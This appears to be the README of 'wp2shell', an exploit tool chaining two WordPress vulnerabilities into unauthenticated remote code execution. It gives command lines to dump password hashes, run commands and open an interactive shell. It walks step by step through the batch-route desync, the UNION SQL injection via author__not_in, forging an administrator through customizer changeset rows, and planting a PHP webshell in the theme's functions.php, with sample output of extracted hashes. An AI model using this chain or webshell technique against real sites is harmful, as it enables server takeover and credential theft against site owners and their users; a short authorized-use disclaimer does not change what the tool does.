wp2shell — CVE-2026-63030 + CVE-2026-60137

One-day WordPress RCE exploit chain. Unauthenticated. CVSS 9.8.

Zero dependencies — Python 3.8+ stdlib only.

Affected Versions

The Chain

Two CVEs chained into unauthenticated Remote Code Execution:

CVE-2026-63030 (route confusion)  →  batch desync bypasses auth
           +
CVE-2026-60137 (SQL injection)    →  author__not_in sinks raw into SQL
           ↓
   UNION-forge WP_Post rows  →  customizer changeset bridge  →  admin created
           ↓
   Login as admin  →  theme editor  →  webshell  →  RCE

Quick Start

# Probe only — non-destructive, confirms vulnerability
python3 exploit.py --url http://target:8080 --check

# Extract admin password hashes from the database
python3 exploit.py --url http://target:8080 --dump-users

# Full chain: SQLi → admin → webshell → command
python3 exploit.py --url http://target:8080 --cmd "id; uname -a"

# Interactive shell (with working directory tracking)
python3 exploit.py --url http://target:8080 --shell

# Read arbitrary data via UNION SQL injection
python3 exploit.py --url http://target:8080 --read "SELECT @@version"

# Skip pre-auth bridge — use known credentials
python3 exploit.py --url http://target:8080 --user admin --password hunter2 --cmd whoami

Options

--url URL          Target WordPress base URL (required)
--check            Probe only — do not exploit
--dump-users       Extract all user credentials via UNION SQLi
--read SQL         Read a scalar SQL expression from the database
--cmd CMD          Run a shell command on the target
--shell            Open an interactive shell
--user USER        Admin username (skip pre-auth admin creation)
--password PASS    Admin password (use with --user)
--proxy URL        HTTP proxy (e.g. http://127.0.0.1:8080)
--timeout SEC      Request timeout (default: 30)
--no-cleanup       Leave webshell and admin user on target

How It Works

Route Confusion (CVE-2026-63030)

WordPress's batch endpoint at /?rest_route=/batch/v1 accepts an array of sub-requests. When a sub-request has an unparseable path (///), a WP_Error is added to $validation but not $matches. The dispatch loop then pairs request N with handler N+1 — so a request validated against one schema is dispatched to a different handler.

The exploit sends a 3-layer nested batch where each layer uses a desync primer at position 0 to shift indices. The innermost request — validated as a single-post item (GET /wp/v2/posts/999999) — lands on the collection handler (posts->get_items()). Since the item schema doesn't define author_exclude, the parameter passes through unvalidated.

SQL Injection (CVE-2026-60137)

get_items() maps author_exclude → author__not_in and passes it to WP_Query. When author__not_in is a string (not an array), the array_map('absint', …) block is skipped. The raw string lands directly in:

WHERE post_author NOT IN (<payload>)

The payload 0) UNION ALL SELECT …-- - closes the NOT IN list and appends arbitrary SQL.

UNION Extraction

WordPress 7.0.x wp_posts has exactly 23 columns. By injecting a forged row via UNION ALL SELECT with orderby=none (suppresses the trailing ORDER BY) and per_page=500 (keeps WP_Query in full-row mode), the forged post title — carrying a ||HEX|| marker — is reflected in the REST response. All string values use MySQL hex literals (0x…) to avoid quote-escaping issues through URL encoding.

Pre-Auth Admin Creation

1. UNION-forge a post containing [embed] shortcodes → WordPress creates 3 oembed_cache rows
2. Read the 3 cache post IDs back via UNION extraction
3. UNION-forge 7 structured wp_posts rows forming a customizer changeset chain
4. The [embed] shortcode renders, triggering WP_Embed::shortcode() → wp_update_post() → WP_Customize_Manager → wp_insert_user()
5. Administrator created with a random username (wp2_<random>) and password (Wp2!<random>)

Webshell Deployment

Login as the new admin → extract theme editor nonce → inject token-protected PHP webshell at the top of the active theme's functions.php → access via ?t=<token>&c=<command>.

Requirements

• Python 3.8 or later
• Zero external dependencies — uses only stdlib (urllib, json, re, hashlib, secrets, html)
• Target must have at least one published post or page (for oEmbed cache seeding)

Limitations

• Docker loopback: WordPress's file editor performs a wp_remote_post() loopback check before saving. If the container cannot reach itself by hostname, the theme edit is blocked. Use --dump-users + manual login in those cases.
• No published posts: The oEmbed cache seed requires at least one public permalink. A blank WordPress install after setup has both "Hello world!" and "Sample Page".
• WAF / mod_security: Heavy request filtering may block the nested batch payloads. Test with --check first.

Verification

$ python3 exploit.py --url http://target --check
[+] VULNERABLE — route-confusion behavior detected!
[+] UNION SQLi extraction confirmed — in-band read available

$ python3 exploit.py --url http://target --dump-users
[*] 11 user(s) in wp_users:
  ID=1  login=admin
        pass=$wp$2y$10$...
  ...

Disclaimer

This tool is for authorized security research and educational purposes only. Use only against systems you own or have explicit permission to test. The authors assume no liability for misuse.

Credits

• WPScan — CVE disclosure (CVE-2026-63030, CVE-2026-60137)
• NVD — CVE database